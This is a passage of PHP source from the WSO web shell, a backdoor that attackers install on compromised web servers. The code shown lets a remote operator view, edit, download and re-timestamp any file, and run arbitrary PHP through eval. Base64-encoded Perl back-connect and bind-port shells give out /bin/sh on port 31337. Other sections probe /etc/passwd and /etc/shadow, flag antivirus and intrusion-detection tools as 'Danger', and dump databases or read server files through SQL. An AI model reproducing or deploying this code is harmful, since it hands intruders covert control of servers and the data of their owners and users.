        if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && ($_COOKIE['act'] == 'zip' || $_COOKIE['act'] == 'tar')) {
            echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
        }
        echo "<input type='submit' value='>>'></td></tr></form></table></div>";
        wsoFooter();
    }
    function actionFilesTools()
    {
        if (isset($_POST['p1'])) {
            $_POST['p1'] = urldecode($_POST['p1']);
        }
        if (@$_POST['p2'] == 'download') {
            if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                ob_start("ob_gzhandler", 4096);
                header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
                if (function_exists("mime_content_type")) {
                    $type = @mime_content_type($_POST['p1']);
                    header("Content-Type: " . $type);
                } else {
                    header("Content-Type: application/octet-stream");
                }
                $fp = @fopen($_POST['p1'], "r");
                if ($fp) {
                    while (!@feof($fp)) {
                        echo @fread($fp, 1024);
                    }
                    fclose($fp);
                }
            }
            exit;
        }
        if (@$_POST['p2'] == 'mkfile') {
            if (!file_exists($_POST['p1'])) {
                $fp = @fopen($_POST['p1'], 'w');
                if ($fp) {
                    $_POST['p2'] = "edit";
                    fclose($fp);
                }
            }
        }
        wsoHeader();
        echo "<h1>File tools</h1><div class=content>";
        if (!file_exists(@$_POST['p1'])) {
            echo "File not exists";
            wsoFooter();
            return;
        }
        $uid = @posix_getpwuid(@fileowner($_POST['p1']));
        if (!$uid) {
            $uid['name'] = @fileowner($_POST['p1']);
            $gid['name'] = @filegroup($_POST['p1']);
        } else {
            $gid = @posix_getgrgid(@filegroup($_POST['p1']));
        }
        echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
        echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
        if (empty($_POST['p2'])) {
            $_POST['p2'] = 'view';
        }
        if (is_file($_POST['p1'])) {
            $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
        } else {
            $m = array('Chmod', 'Rename', 'Touch');
        }
        foreach ($m as $v) {
            echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
        }
        echo "<br><br>";
        switch ($_POST['p2']) {
            case 'view':
                echo "<pre class=ml1>";
                $fp = @fopen($_POST['p1'], 'r');
                if ($fp) {
                    while (!@feof($fp)) {
                        echo htmlspecialchars(@fread($fp, 1024));
                    }
                    @fclose($fp);
                }
                echo "</pre>";
                break;
            case 'highlight':
                if (@is_readable($_POST['p1'])) {
                    echo "<div class=ml1 style=\"background-color: #e1e1e1;color:black;\">";
                    $code = @highlight_file($_POST['p1'], true);
                    echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
                }
                break;
            case 'chmod':
                if (!empty($_POST['p3'])) {
                    $perms = 0;
                    for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
                        $perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
                    }
                    if (!@chmod($_POST['p1'], $perms)) {
                        echo "Can't set permissions!<br><script>document.mf.p3.value=\"\";</script>";
                    }
                }
                clearstatcache();
                echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
                break;
            case 'edit':
                if (!is_writable($_POST['p1'])) {
                    echo "File isn't writeable";
                    break;
                }
                if (!empty($_POST['p3'])) {
                    $time = @filemtime($_POST['p1']);
                    $_POST['p3'] = substr($_POST['p3'], 1);
                    $fp = @fopen($_POST['p1'], "w");
                    if ($fp) {
                        @fwrite($fp, $_POST['p3']);
                        @fclose($fp);
                        echo "Saved!<br><script>p3_=\"\";</script>";
                        @touch($_POST['p1'], $time, $time);
                    }
                }
                echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
                $fp = @fopen($_POST['p1'], 'r');
                if ($fp) {
                    while (!@feof($fp)) {
                        echo htmlspecialchars(@fread($fp, 1024));
                    }
                    @fclose($fp);
                }
                echo "</textarea><input type=submit value=\">>\"></form>";
                break;
            case 'hexdump':
                $c = @file_get_contents($_POST['p1']);
                $n = 0;
                $h = array('00000000<br>', '', '');
                $len = strlen($c);
                for ($i = 0; $i < $len; ++$i) {
                    $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                    switch (ord($c[$i])) {
                        case 0:
                            $h[2] .= ' ';
                            break;
                        case 9:
                            $h[2] .= ' ';
                            break;
                        case 10:
                            $h[2] .= ' ';
                            break;
                        case 13:
                            $h[2] .= ' ';
                            break;
                        default:
                            $h[2] .= $c[$i];
                            break;
                    }
                    $n++;
                    if ($n == 32) {
                        $n = 0;
                        if ($i + 1 < $len) {
                            $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                        }
                        $h[1] .= '<br>';
                        $h[2] .= "\n";
                    }
                }
                echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
                break;
            case 'rename':
                if (!empty($_POST['p3'])) {
                    if (!@rename($_POST['p1'], $_POST['p3'])) {
                        echo "Can't rename!<br>";
                    } else {
                        die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                    }
                }
                echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
                break;
            case 'touch':
                if (!empty($_POST['p3'])) {
                    $time = strtotime($_POST['p3']);
                    if ($time) {
                        if (!touch($_POST['p1'], $time, $time)) {
                            echo "Fail!";
                        } else {
                            echo "Touched!";
                        }
                    } else {
                        echo "Bad time format!";
                    }
                }
                clearstatcache();
                echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
                break;
        }
        echo "</div>";
        wsoFooter();
    }
    function actionNetwork()
    {
        wsoHeader();
        $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
        $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
        echo "<h1>Network tools</h1><div class=content>\r\n\t<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">\r\n\t<span>Bind port to /bin/sh [perl]</span><br/>\r\n\tPort: <input type='text' name='port' value='31337'> <input type=submit value='>>'>\r\n\t</form>\r\n\t<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">\r\n\t<span>Back-connect  [perl]</span><br/>\r\n\tServer: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>\r\n\t</form><br>";
        if (isset($_POST['p1'])) {
            function cf($f, $t)
            {
                $w = @fopen($f, "w") or @function_exists('file_put_contents');
                if ($w) {
                    @fwrite($w, @base64_decode($t));
                    @fclose($w);
                }
            }
            if ($_POST['p1'] == 'bpp') {
                cf("/tmp/bp.pl", $bind_port_p);
                $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
                sleep(1);
                echo "<pre class=ml1>{$out}\n" . wsoEx("ps aux | grep bp.pl") . "</pre>";
                unlink("/tmp/bp.pl");
            }
            if ($_POST['p1'] == 'bcp') {
                cf("/tmp/bc.pl", $back_connect_p);
                $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
                sleep(1);
                echo "<pre class=ml1>{$out}\n" . wsoEx("ps aux | grep bc.pl") . "</pre>";
                unlink("/tmp/bc.pl");
            }
        }
        echo "</div>";
        wsoFooter();
    }
    function actionPhp()
    {
        if (isset($_POST['ajax'])) {
            WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
            ob_start();
            eval($_POST['p1']);
            $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\x00") . "';\n";
            echo strlen($temp), "\n", $temp;
            exit;
        }
        if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
            WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
        }
        wsoHeader();
        if (isset($_POST['p2']) && $_POST['p2'] == 'info') {
            echo "<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>";
            ob_start();
            phpinfo();
            $tmp = ob_get_clean();
            $tmp = preg_replace(array('!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU'), array('', '.e, .v, .h, .h th {$1}', ''), $tmp);
            echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
        }
        echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
        echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
        if (!empty($_POST['p1'])) {
            ob_start();
            eval($_POST['p1']);
            echo htmlspecialchars(ob_get_clean());
        }
        echo "</pre></div>";
        wsoFooter();
    }
    function actionSecInfo()
    {
        wsoHeader();
        echo "<h1>Server security information</h1><div class=content>";
        function wsoSecParam($n, $v)
        {
            $v = trim($v);
            if ($v) {
                echo '<span>' . $n . ': </span>';
                if (strpos($v, "\n") === false) {
                    echo $v . '<br>';
                } else {
                    echo '<pre class=ml1>' . $v . '</pre>';
                }
            }
        }
        wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
        if (function_exists('apache_get_modules')) {
            wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
        }
        wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
        wsoSecParam('Open base dir', @ini_get('open_basedir'));
        wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
        wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
        wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
        $temp = array();
        if (function_exists('mysql_get_client_info')) {
            $temp[] = "MySql (" . mysql_get_client_info() . ")";
        }
        if (function_exists('mssql_connect')) {
            $temp[] = "MSSQL";
        }
        if (function_exists('pg_connect')) {
            $temp[] = "PostgreSQL";
        }
        if (function_exists('oci_connect')) {
            $temp[] = "Oracle";
        }
        wsoSecParam('Supported databases', implode(', ', $temp));
        echo "<br>";
        if ($GLOBALS['os'] == 'nix') {
            wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
            wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
            wsoSecParam('OS version', @file_get_contents('/proc/version'));
            wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if (!$GLOBALS['safe_mode']) {
                $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
                $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                echo "<br>";
                $temp = array();
                foreach ($userful as $item) {
                    if (wsoWhich($item)) {
                        $temp[] = $item;
                    }
                }
                wsoSecParam('Userful', implode(', ', $temp));
                $temp = array();
                foreach ($danger as $item) {
                    if (wsoWhich($item)) {
                        $temp[] = $item;
                    }
                }
                wsoSecParam('Danger', implode(', ', $temp));
                $temp = array();
                foreach ($downloaders as $item) {
                    if (wsoWhich($item)) {
                        $temp[] = $item;
                    }
                }
                wsoSecParam('Downloaders', implode(', ', $temp));
                echo "<br/>";
                wsoSecParam('HDD space', wsoEx('df -h'));
                wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                echo "<br/><span>posix_getpwuid (\"Read\" /etc/passwd)</span><table><form onsubmit='g(null,null,\"5\",this.param1.value,this.param2.value);return false;'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=\">>\"></form>";
                if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                    $temp = "";
                    for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid) {
                            $temp .= join(':', $uid) . "\n";
                        }
                    }
                    echo "<br/>";
                    wsoSecParam('Users', $temp);
                }
            }
        } else {
            wsoSecParam('OS Version', wsoEx('ver'));
            wsoSecParam('Account Settings', wsoEx('net accounts'));
            wsoSecParam('User Accounts', wsoEx('net user'));
        }
        echo "</div>";
        wsoFooter();
    }
    function actionSql()
    {
        class DbClass
        {
            var $type;
            var $link;
            var $res;
            function DbClass($type)
            {
                $this->type = $type;
            }
            function connect($host, $user, $pass, $dbname)
            {
                switch ($this->type) {
                    case 'mysql':
                        if ($this->link = @mysql_connect($host, $user, $pass, true)) {
                            return true;
                        }
                        break;
                    case 'pgsql':
                        $host = explode(':', $host);
                        if (!$host[1]) {
                            $host[1] = 5432;
                        }
                        if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}")) {
                            return true;
                        }
                        break;
                }
                return false;
            }
            function selectdb($db)
            {
                switch ($this->type) {
                    case 'mysql':
                        if (@mysql_select_db($db)) {
                            return true;
                        }
                        break;
                }
                return false;
            }
            function query($str)
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->res = @mysql_query($str);
                    case 'pgsql':
                        return $this->res = @pg_query($this->link, $str);
                }
                return false;
            }
            function fetch()
            {
                $res = func_num_args() ? func_get_arg(0) : $this->res;
                switch ($this->type) {
                    case 'mysql':
                        return @mysql_fetch_assoc($res);
                    case 'pgsql':
                        return @pg_fetch_assoc($res);
                }
                return false;
            }
            function listDbs()
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->query("SHOW databases");
                    case 'pgsql':
                        return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
                }
                return false;
            }
            function listTables()
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->res = $this->query('SHOW TABLES');
                    case 'pgsql':
                        return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
                }
                return false;
            }
            function error()
            {
                switch ($this->type) {
                    case 'mysql':
                        return @mysql_error();
                    case 'pgsql':
                        return @pg_last_error();
                }
                return false;
            }
            function setCharset($str)
            {
                switch ($this->type) {
                    case 'mysql':
                        if (function_exists('mysql_set_charset')) {
                            return @mysql_set_charset($str, $this->link);
                        } else {
                            $this->query('SET CHARSET ' . $str);
                        }
                        break;
                    case 'pgsql':
                        return @pg_set_client_encoding($this->link, $str);
                }
                return false;
            }
            function loadFile($str)
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
                    case 'pgsql':
                        $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
                        $r = array();
                        while ($i = $this->fetch()) {
                            $r[] = $i['file'];
                        }
                        $this->query('drop table wso2');
                        return array('file' => implode("\n", $r));
                }
                return false;
            }
            function dump($table, $fp = false)
            {
                switch ($this->type) {
                    case 'mysql':
                        $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
                        $create = mysql_fetch_array($res);
                        $sql = $create[1] . ";\n";
                        if ($fp) {
                            fwrite($fp, $sql);
                        } else {
                            echo $sql;
                        }
                        $this->query('SELECT * FROM `' . $table . '`');
                        $i = 0;
                        $head = true;
                        while ($item = $this->fetch()) {
                            $sql = '';
                            if ($i % 1000 == 0) {
                                $head = true;
                                $sql = ";\n\n";
                            }
                            $columns = array();
                            foreach ($item as $k => $v) {
                                if ($v === null) {
                                    $item[$k] = "NULL";
                                } elseif (is_int($v)) {
                                    $item[$k] = $v;
                                } else {
                                    $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
                                }
                                $columns[] = "`" . $k . "`";
                            }
                            if ($head) {
                                $sql .= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')';
                                $head = false;
                            } else {
                                $sql .= "\n\t,(" . implode(", ", $item) . ')';
                            }
                            if ($fp) {
                                fwrite($fp, $sql);
                            } else {
                                echo $sql;
                            }
                            $i++;
                        }
                        if (!$head) {
                            if ($fp) {
                                fwrite($fp, ";\n\n");
                            } else {
                                echo ";\n\n";
                            }
                        }
                        break;
                    case 'pgsql':
                        $this->query('SELECT * FROM ' . $table);
                        while ($item = $this->fetch()) {
                            $columns = array();
                            foreach ($item as $k => $v) {
                                $item[$k] = "'" . addslashes($v) . "'";
                                $columns[] = $k;
                            }
                            $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "\n";
                            if ($fp) {
                                fwrite($fp, $sql);
                            } else {
                                echo $sql;
                            }
                        }
                        break;
                }
                return false;
            }
        }
        $db = new DbClass($_POST['type']);
        if (@$_POST['p2'] == 'download' && @$_POST['p1'] != 'select') {
            $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
            $db->selectdb($_POST['sql_base']);
            switch ($_POST['charset']) {
                case "Windows-1251":
                    $db->setCharset('cp1251');
                    break;
                case "UTF-8":
                    $db->setCharset('utf8');
                    break;
                case "KOI8-R":
                    $db->setCharset('koi8r');
                    break;
                case "KOI8-U":
                    $db->setCharset('koi8u');
                    break;
                case "cp866":
                    $db->setCharset('cp866');
                    break;
            }
            if (empty($_POST['file'])) {
                ob_start("ob_gzhandler", 4096);
                header("Content-Disposition: attachment; filename=dump.sql");
                header("Content-Type: text/plain");
                foreach ($_POST['tbl'] as $v) {
                    $db->dump($v);
                }
                exit;
            } elseif ($fp = @fopen($_POST['file'], 'w')) {
                foreach ($_POST['tbl'] as $v) {
                    $db->dump($v, $fp);
                }
                fclose($fp);
                unset($_POST['p2']);
            } else {
                die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
            }
        }
        wsoHeader();
        echo "\r\n<h1>Sql browser</h1><div class=content>\r\n<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>\r\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\r\n<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n<td><select name='type'><option value='mysql' ";
        if (@$_POST['type'] == 'mysql') {
            echo "selected";
        }
        echo ">MySql</option><option value='pgsql' ";
        if (@$_POST['type'] == 'pgsql') {
            echo "selected";
        }
        echo ">PostgreSql</option></select></td>\r\n<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>\r\n<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>\r\n<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
        $tmp = "<input type=text name=sql_base value=''>";
        if (isset($_POST['sql_host'])) {
            if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
                switch ($_POST['charset']) {
                    case "Windows-1251":
                        $db->setCharset('cp1251');
                        break;
                    case "UTF-8":
                        $db->setCharset('utf8');
                        break;
                    case "KOI8-R":
                        $db->setCharset('koi8r');
                        break;
                    case "KOI8-U":
                        $db->setCharset('koi8u');
                        break;
                    case "cp866":
                        $db->setCharset('cp866');
                        break;
                }
                $db->listDbs();
                echo "<select name=sql_base><option value=''></option>";
                while ($item = $db->fetch()) {
                    list($key, $value) = each($item);
                    echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
                }
                echo "</select>";
            } else {
                echo $tmp;
            }
        } else {
            echo $tmp;
        }
        echo "</td>\r\n\t\t\t\t<td><input type=submit value='>>' onclick='fs(d.sf);'></td>\r\n                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>\r\n\t\t\t</tr>\r\n\t\t</table>\r\n\t\t<script>\r\n            s_db='" . @addslashes($_POST['sql_base']) . "';\r\n            function fs(f) {\r\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\r\n                    if(f.p1) f.p1.value='';\r\n                    if(f.p2) f.p2.value='';\r\n                    if(f.p3) f.p3.value='';\r\n                }\r\n            }\r\n\t\t\tfunction st(t,l) {\r\n\t\t\t\td.sf.p1.value = 'select';\r\n\t\t\t\td.sf.p2.value = t;\r\n                if(l && d.sf.p3) d.sf.p3.value = l;\r\n\t\t\t\td.sf.submit();\r\n\t\t\t}\r\n\t\t\tfunction is() {\r\n\t\t\t\tfor(i=0;i<d.sf.elements['tbl[]'].length;++i)\r\n\t\t\t\t\td.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;\r\n\t\t\t}\r\n\t\t</script>";
        if (isset($db) && $db->link) {
            echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
            if (!empty($_POST['sql_base'])) {
                $db->selectdb($_POST['sql_base']);
                echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
                $tbls_res = $db->listTables();
                while ($item = $db->fetch($tbls_res)) {
                    list($key, $value) = each($item);
                    if (!empty($_POST['sql_count'])) {
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
                    }
                    $value = htmlspecialchars($value);
                    echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br>";
                }
                echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
                if (@$_POST['p1'] == 'select') {
                    $_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
                    $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
                    $num = $db->fetch();
                    $pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . (int) $_POST['p3'] . ">";
                    echo " of {$pages}";
                    if ($_POST['p3'] > 1) {
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>&lt; Prev</a>";
                    }
                    if ($_POST['p3'] < $pages) {
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next &gt;</a>";
                    }
                    $_POST['p3']--;
                    if ($_POST['type'] == 'pgsql') {
                        $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . $_POST['p3'] * 30;
                    } else {
                        $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . $_POST['p3'] * 30 . ',30';
                    }
                    echo "<br><br>";
                }
                if (@$_POST['p1'] == 'query' && !empty($_POST['p2'])) {
                    $db->query(@$_POST['p2']);
                    if ($db->res !== false) {
                        $title = false;
                        echo "<table width=100% cellspacing=1 cellpadding=2 class=main style=\"background-color:#292929\">";
                        $line = 1;
                        while ($item = $db->fetch()) {
                            if (!$title) {
                                echo "<tr>";
                                foreach ($item as $key => $value) {
                                    echo '<th>' . $key . '</th>';
                                }
                                reset($item);
                                $title = true;
                                echo "</tr><tr>";
                                $line = 2;
                            }
                            echo '<tr class="l' . $line . '">';
                            $line = $line == 1 ? 2 : 1;
                            foreach ($item as $key => $value) {
                                if ($value == null) {
                                    echo "<td><i>null</i></td>";
                                } else {
                                    echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
                                }
                            }
                            echo "</tr>";
                        }
                        echo "</table>";
                    } else {
                        echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
                    }
                }
                echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if (!empty($_POST['p2']) && $_POST['p1'] != 'loadfile') {
                    echo htmlspecialchars($_POST['p2']);
                }
                echo "</textarea><br/><input type=submit value='Execute'>";
                echo "</td></tr>";
            }
            echo "</table></form><br/>";
            if ($_POST['type'] == 'mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if ($db->fetch()) {
